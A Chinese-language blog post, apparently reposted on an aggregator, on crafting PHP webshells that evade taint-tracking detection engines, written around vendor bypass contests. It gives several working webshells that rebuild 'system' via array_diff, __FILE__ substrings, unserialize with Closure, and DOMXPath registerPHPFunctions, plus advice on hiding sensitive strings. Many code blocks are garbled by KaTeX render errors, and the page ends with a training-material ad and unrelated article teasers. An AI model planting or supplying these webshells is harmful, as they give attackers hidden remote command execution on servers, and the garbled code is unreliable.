利用PHP的特性做免杀Webshell

news2024/10/6 0:35:01

0x01 前言

最近很多家厂商都陆续开放了自己的Webshell检测引擎,并且公开接口,邀请众安全研究员参加尝试bypass检测引擎,并且给予奖励,我也参加了几场类似的活动,有
ASRC伏魔计划 ,也有 TSRC猎刃计划 ,还有最近正在进行的 长亭
牧云(Aka.关山)Webshell检测引擎 ,如果你都参加或者关注了这三个比赛,你会发现他们都提到了以下几个技术:1、词法分析2、污点追踪3、恶意代码检测

这些新技术我们后面的章节中,我们先讲一下传统的Webshell检测机制,再对照着最新的Webshell检测技术来说明一下如何在新技术下做免杀Webshell(本文所有Webshell基于PHP语言)

0x02 传统Webshell检测

传统的Webshell检测技术主要依赖于字符串的正则特征,在面对于已知的样本可以做到高准确率检测,在长时间的样本收取下,也可以做到满足日常运维中的Webshell检测,举几个经典的Webshell样本

1、经典一句话Webshell<?php eval($_GET['cmd']);?>

2、反序列化Webshell<?phpClass H3{function __destruct(){eval(KaTeX parse error: Expected 'EOF', got '}' at position 10: this->c);}̲}a= new H3;$a->c = $_GET[‘cmd’];

3、无字母Webshell<?php = 97 ; _ = 97; =97;__ = 97 + 18; //s$___ = KaTeX parse error: Expected group after '_' at position 1: _̲_ + 6; //y____ = KaTeX parse error: Expected group after '_' at position 1: _̲_ + 1; //t_____ = + 4 ; / / e _ + 4; //e +4;//e______ = KaTeX parse error: Expected group after '_' at position 1: _̲_ - 6; //m​res = chr(KaTeX parse error: Expected group after '_' at position 1: _̲_).chr().chr(KaTeX parse error: Expected group after '_' at position 1: _̲_).chr().chr(KaTeX parse error: Expected group after '_' at position 1: _̲____).chr(___);$= P O S T [ ′ c m d ′ ] ; _POST['cmd']; POST[cmd];res($);

但是对于当下的技术发展,黑客们可以更加精心的编写Webshell来"骗"过传统的Webshell检测机制,而且Webshell易变形,在面对0day样本的时候,传统Webshell检测就会效果欠佳,也就需要更加全面的手段来与其抗衡

0x03 新型Webshell检测

对于现如今的情况下,传统的Webshell检测对于0day样本的检测效率已经不是特别好了,所以这时候就需要一种"主动"的检测方式,能够让引擎主动去理解脚本、分析样本,发现样本中的恶意行为,而不是依靠人工来添加Webshell特征。

1、污点追踪

举个例子,对于一个Webshell来说,如果要进行任意命令执行,就一定要获取外界数据,对于PHP来说也就是$_GET$_POST来接受数据,而要想任意命令执行,这些接收到的数据也就一定要最终传递到evalsystem等函数中,而
污点追踪
技术就是利用这一点,如果样本中的外界变量通过不断传递,最终进入到危险函数中,那基本上就可以断定为Webshell,将外界变量视为污点源,危险函数视为污点汇聚点,跟踪污点传播过程,判断污点变量是否被洗白,最终是否进入污点汇聚点,画一个流程图如下:

污点追踪.png

2、词法分析

检测引擎会将各种脚本语言进行词法语法分析,然后构建控制流图和数据流图,并在图上跟踪外界污点变量的传递,使用外界变量是WebShell非常重要的特征,如果发现外界变量最终进入了命令执行函数,就可以判断为Webshell。

640.png

引擎可以将传统的条件、循环、函数、对象的静态分析,目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的分析,大大的强化的未知样本的检测成功率。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

3、加密还原

在此之前我们的Webshell常用的绕过检测的方法就是通过加密来绕过,例子如下:<?php = [ ] ; _=[]; =[];=@"$"; // = ′ A r r a y ′ ; _='Array'; =Array;=$[‘!’==‘@’]; // = _= =[0];KaTeX parse error: Expected group after '_' at position 1: _̲__=; // AKaTeX parse error: Expected group after '_' at position 1: _̲_=;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲__.=; // SKaTeX parse error: Expected group after '_' at position 1: _̲__.=__; // SKaTeX parse error: Expected group after '_' at position 1: _̲_=;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++; // E KaTeX parse error: Expected group after '_' at position 1: _̲__.=;KaTeX parse error: Expected group after '_' at position 1: _̲_=_;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++; // R.=KaTeX parse error: Expected group after '_' at position 1: _̲_;= ; _; ;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++; // TKaTeX parse error: Expected group after '_' at position 1: _̲__.=;KaTeX parse error: Expected group after '_' at position 1: _̲___='_';= ; _; ;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++; // PKaTeX parse error: Expected group after '_' at position 1: _̲___.=;KaTeX parse error: Expected group after '_' at position 1: _̲_=_;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++; // OKaTeX parse error: Expected group after '_' at position 1: _̲___.=;KaTeX parse error: Expected group after '_' at position 1: _̲_=_;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++; // SKaTeX parse error: Expected group after '_' at position 1: _̲___.=;KaTeX parse error: Expected group after '_' at position 1: _̲_=_;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;_++;KaTeX parse error: Expected group after '_' at position 1: _̲_++; // T.=KaTeX parse error: Expected group after '_' at position 1: _̲_;​=$KaTeX parse error: Expected group after '_' at position 1: _̲___;(base64_decode(KaTeX parse error: Double subscript at position 3: _[_̲])); // ASSERT(POST[]);

该样本利用了混淆和加密两种技术,但是现如今的检测引擎都具备有对市面上的大部分PHP加密混淆进行“脱壳”和利用动态分析PHP执行器进行虚拟执行,将混淆加密的代码进行动态还原,解密后混淆和加密相当于明文传输,再利用污点追踪技术和动静态结合分析即可大大的提高检测率,并且能够有效减小误报率,同时也让这种在之前百试不爽的技巧无法使用。

0x04 如果Bypass掉新型检测引擎

我们要知道原理就可以想办法如何“蒙骗“住检测引擎,如果大家研究过,或者说亲身参与到了bypass挑战赛中,就能感受到无论是动静态还是什么技术,最后都是根据污点追踪法则来进行检测,污点追踪的流程在上一节提到了,目前我们有两个方法:

1、利用PHP中其他的命令执行的方法,让检测引擎识别不出这是污点汇集点

2、打断污点追踪的过程,让污点汇集点不落地

拿出一个样本我们来结合代码说明(以下样本分别bypass的引擎会标注出来,截止笔者写这篇的文章的时候只有牧云webshell检测引擎正在开启)

样本1<?php//ASRC伏魔引擎bypass$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);$a = join($result);array_map($a,(array)$_REQUEST['1']);?>

讲一下原理,首先我们需要利用技巧(PHP本身的特性),来阻断污点追踪的过程,我在fuzz测试的时候发现了array_map()这个函数存在callback并且能够逃避检测

image-20220801175154343.png

那么首先的能够bypass的污点汇集点已经有了,接下里来就是寻找其他函数来将变量"洗白",我选择了array_diff()

image-20220801174825422.png

这样就可以利用该函数拼凑出一个system函数,再利用array_map()callback来做命令执行

结果如下:

image-20220801175804957.png

这样就完成了最简单的一次bypass

样本2<?php//bypass 牧云 文件名需要设置为systemKaTeX parse error: Expected group after '_' at position 17: …ilename=substr(_̲_FILE__,-10,6);command= P O S T [ 1 ] ; _POST[1]; POST[1];filename($command);

__FILE__是PHP的一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名,我们利用substr()函数逆着截取,就能获得system再利用变量做函数的方式,打断了污点追踪的过程,进行命令执行,也可以成功bypass掉牧云引擎。

结果如下:

image-20220801210052872.png

牧云引擎检测结果如下:

image-20220801210000827.png#### 样本3<?php//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎class A{public function __construct(){}​public function __wakeup(){$b = G E T [ 1 ] ; _GET[1]; GET[1];result = array_diff([“s”,“a”,“b”,“ys”,“te”,“m”],[“a”,“b”]); a = j o i n ( a = join( a=join(result);Closure::fromCallable(KaTeX parse error: Expected group after '_' at position 5: a)->_̲_invoke(_REQUEST[2]);}}​@unserialize(‘O:1:“A”:1:{s:10:" A comment";N;}’);

这个套了一层反序列化,隐藏污点汇集点的方法与样本一相同,利用数组差级构造system后利用原生类ClosurefromCallable函数

image-20220801213635370.png

进行命令执行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);这种方式会被check,索性换成动态控制,这样也能打断污点追踪)

结果如下:

image-20220801213944993.png

image-20220801214027664.png

image-20220801214223486.png#### 样本4<?php// dom and xml needed, install php-xml and leave php.ini as default.// Author:LemonPrefect$cmd = $_GET[3];$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";$_REQUEST[2] = ["php", "http://php.net/xpath"];$xml = <<< XML<?xml version="1.0" encoding="UTF-8"?>We are the championsLemonPrefectH3h3QAQXML;​ d o c = n e w D O M D o c u m e n t ; doc = new DOMDocument; doc=newDOMDocument;doc->loadXML( x m l ) ; xml); xml);clazz = (new ReflectionClass(“DOMXPath”));$instance = c l a z z − > n e w I n s t a n c e ( clazz->newInstance( clazz>newInstance(doc); c l a z z − > g e t M e t h o d ( " r e g i s t e r N a m e s p a c e " ) − > g e t C l o s u r e ( clazz->getMethod("registerNamespace")->getClosure( clazz>getMethod("registerNamespace")>getClosure(instance)->__invoke(… R E Q U E S T [ 2 ] ) ; _REQUEST[2]); REQUEST[2]);clazz->getMethod(“registerPHPFunctions”)->invoke( i n s t a n c e ) ; instance); instance);clazz->getMethod(“query”)->getClosure(KaTeX parse error: Expected group after '_' at position 12: instance)->_̲_invoke(_REQUEST[1]);

该样本需要一些条件,前提是开启了php- xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespaceregisterPHPFunctions来中断污点追踪,从而RCE

结果如下:

image-20220801220915010.png

image-20220801220929751.png### 0x05 总结

在构造Webshell的时候,我们如果知道Webshell检测引擎原理,就知道如何去bypass了,对于怎样过掉Webshell引擎这件事,需要开动脑筋多去找一下PHP的文档,去找一下原生类和其他能够中断污点追踪的方法,让引擎跟踪不到你的行为,而且尽量不要让敏感字符串出现在代码本体,因为有的引擎还是有字符串的正则特征检测,同时也要学会分析,分析自己的Webshell到底哪里出的问题,从而找到更好的方法去替换。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/860913.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

8月盛夏相约|上海国际智能家居展SSHT 精彩亮点抢先看

上海国际智能家居展览会&#xff08;SSHT&#xff09; 2023年8月29至31日 上海新国际博览中心举行 SSHT 作为国内专业智能家居展会&#xff0c;定位为“智能家居技术的行业平台”&#xff0c;以“技术整合”及“跨界合作”为主轴&#xff0c;旨在呈现不同层面的智能家居技术如…

计算机基础知识一

1、计算机系统组成 1.1 硬件 CPU&#xff1a;中央处理器、计算机核心部件、负责计算任务 内存&#xff1a;记忆功能、存储二进制数&#xff0c;内存是一个字节一个地址。 内存大小换算&#xff1a; 8 bits 1 Byte 1024 Bytes Bytes 1 KB &#xff0c; 1024 KB KB 1 …

妙盈面试(部分)

算法题1&#xff0c;二分查找即可&#xff1a; git rebase算法题2&#xff0c;求二叉树两结点的最小公共祖先 搞笑的是&#xff0c;第2道算法题我刚开始做&#xff0c;黑屏了两秒钟&#xff0c;当时其实腾讯会议软件已经崩溃了&#xff0c;但是我没注意到而是继续做题。等到做…

openGauss学习笔记-36 openGauss 高级数据管理-TRUNCATE TABLE语句

文章目录 openGauss学习笔记-36 openGauss 高级数据管理-TRUNCATE TABLE语句36.1 语法格式36.2 参数说明36.3 示例 openGauss学习笔记-36 openGauss 高级数据管理-TRUNCATE TABLE语句 清理表数据&#xff0c;TRUNCATE TABLE用于删除表的数据&#xff0c;但不删除表结构。也可以…

易大师运势测算网站源码含视频搭建教程

微信/支付宝支付、海外paypal支付、积分支付、VIP免支付&#xff0c;易支付&#xff0c;码支付。 对接真人服务、完善的分销功能、支持设置一二多级分成比例、微信/QQ登陆、注册送积分设置。 推广链接被访问送积分设置&#xff0c;海报推广功能、完善的推广机制&#xff0c;可…

MES系统应该涵盖那些功能

导 读 ( 文/ 1497 ) MES系统是专门面向生产环节的软件系统&#xff0c;用于管理、监控原材料转化为中间产品以及成品的过程。尽管市面上有着不同类别、覆盖不同行业的MES系统&#xff0c;但它们都具有一些基本特征&#xff0c;即包括产品文档管理、物料管理、生产执行管理…

CVE-2021-26411在野样本中利用RPC绕过CFG缓解技术的研究

浏览器渲染进程漏洞利用的一般思路是&#xff1a;在利用漏洞获得用户态任意地址读写权限后&#xff0c;通过篡改DOM、js等对象的虚表函数指针劫持程序执行流&#xff0c;通过ROP链调用VirtualProtect等Win32 API&#xff0c;修改保存shellcode buffer的内存属性为PAGE_EXECUTE_…

将matlab中工作区的数据保存为.mat文件及加载.mat数据

将matlab工作区中的数据保存为.mat文件 如数据a a[1 1 2 3 2 4];一、工作区数据 二、保存为.mat文件 利用save保存数据a到data.mat文件中 save(data.mat,a);三、加载数据 Iload(data.mat)

lc18.四数之和

三数之和的延申&#xff0c;四数之和&#xff1a;两层外层for循环双指针 时间复杂度&#xff1a;O(n3) 空间复杂度&#xff1a;O(1) import org.junit.Test;import java.util.ArrayList; import java.util.Arrays; import java.util.List;public class FourSum {Testpublic v…

Centos7.9安装lrzsz进行文件传输---Linux工作笔记059

这里咱们lrzsz命令,需要用来进行文件传输,因为如果不安装这个命令的话,那么 传输安装包什么的就不方便因为只有少数传输工具,才支持,直接拖拽的.没有的时候就可以用这个工具,用命令来传输 直接就是: sz 文件名 就可以把文件下载下来 rz 选择一个文件, 就可以把文件上传到当…

Spring Cloud构建微服务断路器介绍

什么是断路器 断路器模式源于Martin Fowler的Circuit Breaker一文。“断路器”本身是一种开关装置&#xff0c;用于在电路上保护线路过载&#xff0c;当线路中有电器发生短路时&#xff0c;“断路器”能够及时的切断故障电路&#xff0c;防止发生过载、发热、甚至起火等严重后果…

电脑开机出现Boot Device怎么办?

开机出现Boot Device这个问题很常见&#xff0c;有时还会出现No Boot Device的问题&#xff0c;虽然多了一个单词&#xff0c;但意思是相同的&#xff0c;这些问题说明你的系统盘出现了问题&#xff0c;或者是引导出现了问题。这该如何解决呢&#xff1f; 方法1. 检查主板或硬盘…

主数据管理案例-某政务

1、 背景介绍及难点分析 近年来&#xff0c;我国在大数据发展方面持续发力&#xff0c;取得了明显成效。但也要看到&#xff0c;目前我国大数据发展还存在“孤岛化”“碎片化”等问题&#xff0c;无序参与过度与创新参与不足并存&#xff0c;导致大数据资源配置统筹不&#xff…

Client not connected, current status:STARTING

今天项目集成Seata时遇到一个奇怪的异常&#xff0c;在此记录一下。 Linux环境安装Seata&#xff0c;使用Nacos作为配置中心、注册中心&#xff1b; Linux已开放端口&#xff1a;8848、7091、8091 在我Windows环境下可以看到Nacos运行正常&#xff0c;Seata运行也正常&#…

SOLIDWORKS工程图模板制作

为什么要制作工程图模板 SOLIDWORKS软件以其优良的技术和市场表现&#xff0c;成为CAD领域一颗耀眼的明星&#xff0c;拥有强大的功能。为了实现更规范、更快捷、更方便、更准确的绘图&#xff0c;制作工程图模板是必要的。SolidWorks工程图的优势在于零件模型的尺寸与工程图相…

火山引擎联合Forrester发布《中国云原生安全市场现状及趋势白皮书》,赋能企业构建云原生安全体系

国际权威研究咨询公司Forrester 预测&#xff0c;2023年全球超过40%的企业将会采用云原生优先战略。然而&#xff0c;云原生在改变企业上云及构建新一代基础设施的同时&#xff0c;也带来了一系列的新问题&#xff0c;针对涵盖云原生应用、容器、镜像、编排系统平台以及基础设施…

管理类联考——逻辑——论证逻辑——汇总篇——真题和典例——假设

通用方法/没有特点 方法关系 199-2013-1-41——方法关系——方法有效或方法可行 新近一项研究发现&#xff0c;海水颜色能够让飓风改变方向&#xff0c;也就是说&#xff0c;如果海水变色&#xff0c;飓风的移动路径也会变向。这也就意味着科学家可以根据海水的“脸色”判断…

DS VPN实验

目录 DS VPN实验 1、首先为所有接口配置ip地址、回环地址&#xff1a; 2、为3-8这些设备配置一条缺省指向R2 3、在R1-R3-R4这三个设备之间搭建MGRE 4、配置OSPF让各个主机之间可以进行通信 5、修改隧道接口的网络类型为p2mp 6、在R1上开启重定向、在R3、R4上配置最短 7…

WDT看门狗寄存器实验

WDT寄存器 作用&#xff1a;监控CPU是否出现错误&#xff0c;出现错误向CPU发送复位信号 工作原理&#xff1a;向WDT写入一个100的值&#xff0c;递减&#xff0c;正常程序执行时会定时向WDT发送一个比较大的定时数&#xff0c;这样就不会减到零 有两种功能&#xff1a; 1. 当…

2.利用matlab建立符号函数和符号方程(matlab程序)

1.简述 一、引言 符号函数是Matlab的一个非常重要的功能&#xff0c;可以用来表示数学上的函数&#xff0c;同时也是进行数值计算。创建符号函数的方法有多种&#xff0c;本文给出了四种生成符号函数的方法及求符号函数函数值的方法。 四种生成符号函数的方法&#xff1a;有利用…